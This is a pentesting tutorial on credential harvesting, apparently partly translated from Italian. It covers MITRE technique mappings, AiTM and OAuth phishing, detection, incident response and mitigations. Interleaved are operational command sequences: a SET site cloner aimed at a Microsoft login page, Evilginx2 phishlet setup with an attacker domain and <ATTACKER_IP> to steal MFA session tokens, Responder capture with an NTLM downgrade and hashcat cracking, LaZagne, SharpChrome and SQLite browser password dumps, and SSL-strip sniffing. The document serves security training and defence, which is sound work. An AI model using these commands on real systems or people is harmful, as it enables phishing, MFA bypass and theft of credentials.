Credential Harvesting: Techniques and Tools for Pentesting

Credential Harvesting: from the Network to the Cloud, Tools, Detection and Incident Response #

Credential harvesting differs from credential dumping in the timing of the attack: instead of extracting credentials already stored on a system, it captures them as they are being created or transmitted—in a network authentication, a web form, an OAuth consent, or a cloud session.

Answer capsule: Credential harvesting is the collection of credentials (passwords, hashes, cookies, tokens) at the point of use, through phishing, network interception, or the abuse of legitimate authentication flows such as OAuth.

The Verizon DBIR 2025 identified stolen credentials in 44.7% of confirmed breaches. The CrowdStrike 2026 Global Threat Report reports an average breakout time of 29 minutes between initial harvest and lateral movement.

Credential harvesting doesn't require privileged access—often, just being online or sending a link is enough. This makes it the most common initial access vector.

Classified by MITER ATT&CK as T1056 (Input Capture), T1539 (Steal Web Session Cookie), T1598 (Phishing for Information), T1528 (Steal Application Access Token), T1555 (Credentials from Password Stores).

What does a striker really collect? #

Answer capsule: Credential harvesting today isn't just about usernames and passwords: it includes authentication hashes, session cookies, OAuth access/refresh tokens, API keys, SSH keys, and certificates.

Distinguishing these types is useful because each requires a different capture technique and different mitigation: a stolen cookie bypasses MFA, a stolen password alone does not.

Credential Harvesting vs Dumping vs Stuffing vs Spraying #

Answer capsule: Harvesting captures credentials as they're used; dumping extracts them from an already compromised system; stuffing and spraying automatically test them against online services.

For more information: credential dumping , credential stuffing.

MITRE ATT&CK: Input Capture Subtechniques (T1056) #

Answer capsule: T1056 is divided into four subtechniques, each with a different capture vector: keylogging, fake GUI windows, fake web portals, authentication API hooking.

• T1056.001 – Keylogging. Captures every keystroke, including the credentials typed. On Windows, via kernel hook or API. SetWindowsHookEx; on Linux via /dev/input.
• T1056.002 – GUI Input Capture. Fake authentication prompts (e.g., fake UAC window, fake sudo prompt) that mimic system ones.
• T1056.003 – Web Portal Capture. Compromising a real portal (VPN, webmail, SSO) to inject code that captures login credentials — different from a fake login page, because the portal is the legitimate, modified one.
• T1056.004 – Credential API Hooking. Hooking into system APIs that handle authentication, to intercept credentials before they are encrypted.

Fake Login Page and Web Portal Capture #

For phishing campaigns with cloned login page, without AiTM proxy:

# GoPhish — framework completo per campagne phishing
./gophish  # server admin porta 3333, campagna porta 80

# SET (Social Engineering Toolkit)
setoolkit
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
# 2) Site Cloner
# Inserisci URL da clonare (es: login.microsoftonline.com)
# Credenziali catturate in /var/www/harvester*.txt

For guides: GoPhish and SET.

AiTM Phishing — Session Token Theft and MFA Bypass #

Answer capsule: An adversary-in-the-middle proxy sits between the user and the legitimate site, capturing cleartext credentials and session cookies post-MFA—bypassing TOTP and push notifications, but not FIDO2/passkeys.

Utente → [Proxy AiTM attaccante] → Microsoft/Google/etc. (legittimo)
              ↓
        Cattura: username, password, session token MFA

Evilginx2 #

./evilginx2 -p ./phishlets

config domain attacker-phish.com
config ip <ATTACKER_IP>

phishlets hostname o365 login.attacker-phish.com
phishlets enable o365

lures create o365
lures get-url 0

sessions
sessions 1  # dettagli, include session token

Captured tokens are imported into the attacker's browser via cookie injection—instant access without a password or MFA. Complete guide: Evilginx2.

OAuth Consent Phishing #

Answer capsule: Instead of stealing the password, the attacker tricks the victim into authorizing a malicious OAuth application that gains permanent access to the data, without ever seeing the credentials.

The typical flow:

1. The victim receives a link that points to a real Microsoft/Google consent page.
2. The malicious app requires extensive permissions (read mail, files, contacts).
3. The victim clicks “Authorize” thinking they are using a legitimate app.
4. The attacker obtains a valid access token and refresh token, without ever having touched the password.

The key difference from password theft: here the user knowingly authorizes (even if deceived), so MFA and password reset do not revoke access—you need to explicitly revoke OAuth consent.

Device-Code Phishing #

Answer capsule: The attacker initiates a legitimate OAuth device-code authentication flow and convinces the victim to enter the code on the real Microsoft page, unintentionally authorizing the attacker's session.

The device-code flow is designed for devices without a keyboard (smart TV, IoT): the app shows a code, the user enters it on microsoft.com/devicelogin from another device. The attack abuses exactly this mechanism:

1. Attaccante avvia device-code flow → riceve codice XYZ123
2. Invia alla vittima (email/Teams/SMS): "Inserisci XYZ123 su microsoft.com/devicelogin per accedere al documento"
3. Vittima si autentica con le proprie credenziali reali sulla pagina Microsoft legittima
4. Il flow dell'attaccante riceve access token + refresh token validi

There's no fake page, no suspicious domain—the victim interacts only with Microsoft. This makes it difficult to detect with traditional anti-phishing training based on recognizing fake URLs.

LLMNR, NBT-NS and Forced Authentication #

Answer capsule: When a Windows machine looks for a nonexistent service, it broadcasts a name resolution request — whoever responds first receives an NTLM authentication attempt that it can capture or relay.

The concept can be broken down into five distinct phases, which are often confused with each other:

1. Authentication induction — force the victim to attempt authentication to a host controlled by the attacker.
2. Challenge-response capture — the NTLMv2 hash travels over the network and is recorded.
3. Offline cracking — the captured hash is brute-forced/dictionary-edited.
4. Relay to another service — the hash is forwarded in real time to another service before it expires, without cracking.
5. Reuse — the obtained credential or session is used for access or lateral movement.

Harvesting is only phase 1-2; relay and reuse are later and distinct techniques (NTLM Relay, Pass-the-Hash).

Reply #

# Ascolto standard
responder -I eth0

# Solo cattura, senza spoofing DNS (più stealth)
responder -I eth0 -P -r -v

# Forza downgrade a NTLMv1 (più facile da crackare offline)
responder -I eth0 --lm

# Modalità analyze — solo sniff
responder -I eth0 -A

# Hash catturati in:
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt

# Crack offline
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-*.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5500 /usr/share/responder/logs/SMB-NTLMv1-*.txt /usr/share/wordlists/rockyou.txt

Complete Guide: Responder.

Bettercap #

bettercap -iface eth0

net.probe on
net.sniff on
set llmnr.spoofer on
llmnr.spoofer on

Guide: Bettercap.

Browser and Password Store #

Answer capsule: In addition to browsers, credentials are stored in Windows Credential Manager, macOS Keychain, third-party password managers, cloud secret managers, and local configuration files.

lazagne #

# Windows — dump da tutte le sorgenti
.\lazagne.exe all
.\lazagne.exe browsers
.\lazagne.exe browsers -chrome
.\lazagne.exe browsers -firefox
.\lazagne.exe browsers -edge

# Linux
python3 lazagne.py browsers
python3 lazagne.py all

Guide: LaZagne.

SharpChrome #

.\SharpChrome.exe logins
.\SharpChrome.exe logins /pvk:<dpapi_key>
.\SharpChrome.exe cookies
.\SharpChrome.exe cookies /sitefilter:microsoft.com

Manual extraction from SQLite #

cp "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData
sqlite3 LoginData "SELECT origin_url, username_value, password_value FROM logins;"
# Password cifrate con DPAPI — servono le chiavi utente per decifrarle

Other locations to know #

• Windows Credential Manager vaultcmd /listcreds:"Windows Credentials"
• macOS Keychain security dump-keychain (requires permits)
• FTP/VPN/Mail Client — clear or weakly encrypted configuration files
• Cloud Secret Manager — Azure Key Vault, AWS Secrets Manager: High-value targets if IAM credentials are exposed
• Environment variables and files .env — often forgotten in repositories or containers

Infostealer — Automated Harvest #

Answer capsule: Infostealers are malware that automate the theft of browser credentials, cookies, crypto wallets, and VPN/SSH configurations, typically distributed via phishing or dropper.

The most prevalent families in 2025-2026 include Lumma Stealer , RedLine , Vidar, and RaccoonStealer . Each infostealer typically collects:

• Browser credentials (Chrome, Edge, Firefox)
• Session cookies
• Crypto wallet
• VPN/SSH configuration file
• Clipboard contents

Defense: Monitor outbound connections to unknown C2s, enable EDR behavioral detection, segment the network to limit exfiltration.

Network Sniffing and MITM #

# Cattura traffico
tcpdump -i eth0 -w capture.pcap

# Filtra credenziali da HTTP in chiaro
tcpdump -A -i eth0 'tcp port 80' | grep -i "password\|passwd\|user\|login"

# Bettercap con SSL strip
net.sniff on
set net.sniff.verbose false
set http.proxy.sslstrip true
http.proxy on

# mitmproxy
mitmproxy -p 8080
mitmproxy --mode transparent
mitmproxy --script credential_capture.py

Help: mitmproxy.

Detection by Source #

Answer capsule: Effective credential harvesting detection must be organized by source—email, DNS/proxy, identity provider, endpoint, network, cloud—because each technique leaves different traces.

Email

• Sender domains that imitate well-known brands (typosquatting)
• Suspicious multiple redirects in links
• Attachments with macros or embedded links
• Sending from already compromised internal accounts

DNS/Proxy

• Recently registered domains (< 30 days) that replicate well-known brands
• Reverse proxy with a faulty TLS certificate
• Inconsistent user agents between requests from the same host

Identity Providers

• New devices or unfamiliar locations post-login
• Grant OAuth to apps with unprecedented broad permissions
• Legitimate login sequence → immediate OAuth consent → anomalous activity

Endpoint

• File access Login Data of Chrome from non-browser processes
• Reading DPAPI keys from suspicious processes
• Execution of lazagne.exe o SharpChrome.exe — behavioral signature known to EDRs
• Authentication API Hooking (T1056.004)

Mesh

• LLMNR/NBT-NS/WPAD responses from illegitimate hosts
• SMB authentication to unexpected hosts
• Traffic to AiTM proxies (TLS/JA3 fingerprints from Evilginx and similar)

Cloud

• New OAuth apps with elevated permissions
• Logins immediately following an OAuth consent
• Refresh tokens used by unusual IPs/ASNs

An important note: theEvent ID 4648 (logon with explicit credentials) is often reported as a critical indicator, but on its own it is a weak signal — Microsoft documents it as an event also generated by runas, scheduled tasks, and other legitimate activities. It only becomes useful if it's related to an unusual process, account, host, and destination.

Incident Response after the Theft #

Answer capsule: Changing your password alone is often not enough—session revocation, token refresh, and OAuth consent are required, because credentials other than your password remain valid even after a reset.

Operational checklist:

1. Temporarily disable the compromised account
2. Change password and rotate all connected secrets
3. Revoke active sessions and refresh tokens
4. Remove unknown MFA methods registered by the attacker
5. Revoke OAuth consents and uninstall malicious applications
6. Check forwarding/filtering rules on your email inbox
7. Verify new registered devices and authentication methods
8. Look for subsequent uses of the same credential on other services
9. Maintain logs and evidence for forensic analysis

Microsoft explicitly recommends revoking sessions and refresh tokens in the event of a compromise, as well as investigating suspicious apps and OAuth consents—a password reset alone does not delete cookies or grants already issued.

Phishing-Resistant Mitigations and MFA #

Answer capsule: FIDO2/passkeys are the most effective authentication against traditional phishing and classic AITM, but they do not eliminate risks such as device-code phishing and OAuth consent phishing, which abuse legitimate flows rather than steal credentials.

• Disable LLMNR and NBT-NS — removes the main vector of Responder
• SMB Signing required — block relay of captured NTLM hashes
• FIDO2/passkeys — CISA lists it as the leading widely available phishing-resistant authentication; very effective against fake login pages and traditional AiTM
• Conditional access — blocks sessions from unauthorized IPs/devices (partial mitigation against AiTM)
• Restricting device-code flows — disable or limit device-code flow where not necessary
• OAuth App Governance — whitelist of authorized apps, periodic review of granted consents
• Credential Guard in the browser — Chrome and Edge support protecting saved credentials via Windows Hello
• Monitor browser SQLite file accesses from non-browser processes

OPSEC and Rules of Engagement #

• Responder generates a lot of noise on monitored networks — every LLMNR response is a logable event
• Evilginx2 requires a registered domain and valid TLS certificate — the infrastructure is traceable
• Third-party infostealers often contain backdoors to the original author — be careful even in controlled labs
• SharpChrome and LaZagne on systems with EDR are almost always detected
• Device-code phishing and OAuth consent phishing should always be conducted only on authorized tenants/labs for testing — they require app registration and are easily attributable

FAQ #

Does Evilginx always bypass MFA? It bypasses TOTP-based MFA (Google Authenticator, Authy) and push notifications (Microsoft Authenticator). It doesn't bypass FIDO2/passkeys because authentication occurs directly between the user device and the legitimate server, bypassing the proxy.

Does Responder always work? It works where LLMNR and NBT-NS are enabled (the default on Windows). In hardened enterprise environments, these protocols are disabled via GPO — Responder becomes useless.

Are credential harvesting and credential stuffing the same thing? No. Harvesting collects new credentials. Stuffing automatically tests previously collected credentials, often from past breaches, against online services.

Does OAuth consent phishing require password theft? No, that's exactly the point: the victim knowingly (but tricked) authorizes a malicious app, without ever entering their password on a fake website.

Is changing your password enough after a credential theft? Often not. Session cookies, refresh tokens, and OAuth consents remain valid until explicitly revoked.

Conclusion #

Modern credential harvesting goes beyond responders and fake login pages: it includes abusing legitimate OAuth flows, stealing tokens instead of passwords, and harvesting from cloud secret managers. Defense is built on multiple layers: protocol (FIDO2 instead of TOTP), network (disabling LLMNR), identity (OAuth governance and conditional access), and behavioral monitoring on endpoints and the cloud.

Resources:

• MITRE ATT&CK – T1598
• MITRE ATT&CK – T1056
• MITRE ATT&CK – T1528
• MITRE ATT&CK – T1555
• HackTricks – Phishing
• Microsoft – Revoke user access
• CISA – Phishing-Resistant MFA